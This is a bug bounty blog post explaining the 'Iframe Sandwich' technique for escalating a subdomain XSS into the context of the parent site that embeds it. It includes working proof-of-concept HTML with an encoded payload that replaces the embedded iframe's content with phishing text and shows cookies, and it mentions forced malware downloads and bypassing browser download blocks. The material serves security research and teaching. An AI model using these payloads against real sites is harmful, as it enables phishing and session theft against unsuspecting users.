Exacerbating Cross-Site Scripting: The Iframe Sandwich

I’m starting this post with adoration for the Critical Thinking Podcast. The podcast launched around the time I began hacking full-time, and I consider it my companion. It is required listening for bug bounty hunters, but I recommend it to anyone involved in cyber security—especially if you care about the offensive perspective (and you should).

In episode 47, the hosts Justin and Joel discuss a technique they call “The Iframe Sandwich.” The practicality of the technique is clear: escalate the impact of a cross-site scripting (XSS) vulnerability. However, the technical details get a bit buried in the podcast format. That’s where I come in. I recently encountered this bug in the wild and decided to turn it into a teaching moment. Without further ado, let’s break down how the Iframe Sandwich works.


The Setup

Suppose there is a XSS vulnerability on an endpoint that has minimal functionality. For example, I discovered a subdomain, stores.<site>.uk, whose sole purpose is to catalogue retail locations for a company. This website was vulnerable to URL-based XSS; by double URL-encoding JavaScript, the browser executed the malicious code when the page loaded.

Note: the payload alert%25281%2529%252f%252f in the screenshot above is the double URL-encoding of alert(1)//

There are a few critical-severity goals to aim for with XSS:

  • Session Hijacking — Extract session cookies or authorization tokens (if the HttpOnly flag isn’t set)
  • Account Take Over (ATO) — Trigger functionality to change a victim’s email or password, or initiate an OAuth flow
  • Trigger Sensitive API Calls — Force a victim to execute authenticated actions (send funds, delete data, access PII, etc.)

Unfortunately, these goals are unlikely to be achievable on a static site that simply displays store locations. Instead of just stating that XSS exists, it’s important to keep in mind the golden rule when it comes to penetration testing:

It is an ethical hacker’s responsibility to demonstrate the risk of a vulnerability and articulate its real-world consequences.

Two exploitation paths come to mind for my situation: prompt the victim to download malware or load a phishing site. To avoid a 414 Request-URI Too Long HTTP status code, attackers will host a script or HTML payload on an external server they control and craft a XSS payload that fetches it. This provides plenty of room to write a realistic fake login page or JavaScript that forces automatic downloads. Something as simple as a “Log in to access the map search” can trick a surprising number of users into delivering their credentials straight to a threat actor.

Research Opportunity: Some file types can be auto-downloaded by browsers, while others are blocked as “potentially dangerous.” It would be interesting to investigate how to bypass these blocks and force downloads across different browsers via XSS.

In isolation, the XSS I discovered may be given a Medium severity. However, if one more condition is met, the risk can increase.

The Recipe

To cook up an Iframe Sandwich, one more ingredient is required: a primary site (e.g., www.<site>.uk) that embeds the vulnerable subdomain (e.g., stores.<site>.uk) inside an iframe. If this is the case, it’s possible to escalate the XSS from the sandboxed, low-value subdomain into the context of the main website.

In my case, the company I tested operates a large e-commerce site at www.<site>.uk and includes the vulnerable stores.<site>.uk subdomain as an iframe on the /stores endpoint, as seen from the code snippet below:

So how does the Iframe Sandwich actually work? The idea is that a threat actor hosts a malicious site that:

  1. Redirects the current window to www.<site>.uk/stores
  2. Opens a new tab to a second page that triggers the XSS payload

Typically, the Same-Origin Policy (SOP) prevents JavaScript from one origin from reading, modifying, or executing code within the context of another origin. This means that an attacker’s website, www.attacker.com, can’t access the DOM, cookies, or localStorage of www.<site>.com—even if the malicious site embeds the target site as an iframe—because the two origins are different. However in the case of an Iframe Sandwich, the maliciously injected JavaScript comes from a trusted subdomain (like stores.<site>.com). Since this subdomain is embedded as an iframe within www.<site>.com/stores, the XSS payload is able to change the content of the iframe because they share the same origin. This allows an attacker to modify the code of the iframed subdomain within the main site, effectively achieving what SOP is intended to prevent.

The Code

If this were a YouTube video, I’d say: “Pause now if you want to try and figure this out yourself.” Because next, I’ll go over the nitty-gritty code that makes it work.

Step 1: Create p2.html. This is the launching page that sets the stage for the exploit. There will be a “Launch” button that does two things:

  1. Pops open /p1.html in a new tab
  2. Redirect the current window to https://www.<site>.uk/stores
<!-- /p2.html -->

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Trigger Page</title>
  <script>
    function launchExploit() {
      window.open('p1.html', '_blank');
      window.location.href = 'https://www.<site>.uk/stores';
    }
  </script>
</head>
<body>
  <h1>Click to Launch Exploit</h1>
  <button onclick="launchExploit()">Launch</button>
</body>
</html>

Step 2: Create /p1.html. This is the heart of the vulnerability and where the XSS gets exploited. It does the following:

  1. Appears innocuous by loading stores.<site>.com in an invisible iframe
  2. Executes the XSS payload that modifies the content of the parent window’s iframe
<!-- /p1.html -->

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>XSS Host Page</title>
</head>
<body>
  <h1>XSS Host Page</h1>
  <iframe style="display:none;" src="https://stores.<site>.uk/results/a/0%253bsetTimeout%28function%28%29%7Bparent.opener.frames%5B0%5D.document.body.innerHTML%3D%60Phishing%20platform%20goes%20here%20...%20Cookies%3A%20%24%7Bdocument.cookie%7D%60%3B%7D%2C1000%29%252f%252f/all"></iframe>
</body>
</html>

It’s worth taking a closer look at what the XSS payload is doing. The double URL-decoding of the payload above is:

A few key notes:

  • The setTimeout function ensures the main page is fully loaded before DOM manipulation occurs.
  • parent.opener.frames[0] reaches into the parent window (www.<site>.uk/stores) and finds the first iframe (to stores.<site>.uk). Note: in your own Proof of Concept (PoC), the index/identifier of the vulnerable iframe may differ.
  • document.body.innerHTML modifies the content of the iframe.
  • document.cookie reflects the cookies scoped to the origin sites.<site>.uk—but the attacker gains control over part of the DOM of www.<site>.uk. This is where the increased severity comes from.

Here’s a video of the exploit happening in action.

At first, the iframe loads normally. But once the XSS payload executes, it overwrites the iframe with a message—”Phishing platform goes here”—and displays the cookies from stores.<site>.uk. A more convincing phishing page could easily be substituted, but this will do for a simple PoC. While the payload executes in the subdomain’s origin, its placement within the main site allows it to render attacker-controlled content as if it were part of the trusted primary website—enabling more impactful phishing or session-based attacks.

Takeaways

Penetration Testers

  • Look for XSS in subdomains
  • Find iframes of those subdomains
  • Use the Iframe Sandwich to achieve XSS in a more impactful context

Security Teams

  • A company is as secure as its weakest subdomain
  • Know that sources in iframes create the potential for exploitation

Also, it’s important to keep in mind these dual philosophies that push both sides to be better:

Penetration Testers

PoC or GTFO

Severity must be demonstrated to prove there is a valid vulnerability.

Security Teams

PoC sets minimum impact

A vulnerability is at least as severe as demonstrated by a penetration tester.

Happily Never After

So what happened in my case?

The security team deemed the vulnerability out of scope due to the involvement of the stores.<site>.com subdomain. Then, they patched the XSS and removed the iframe that loaded store locations on the /stores endpoint. Sometimes, bounty hunting is a thankless job—but with the Iframe Sandwich in your toolkit, hopefully you’ll get some thanks (and bounties) that you deserve.

A special thanks to Justin Gardner (@rhynorater) for helping me pop this bug!

Similar Posts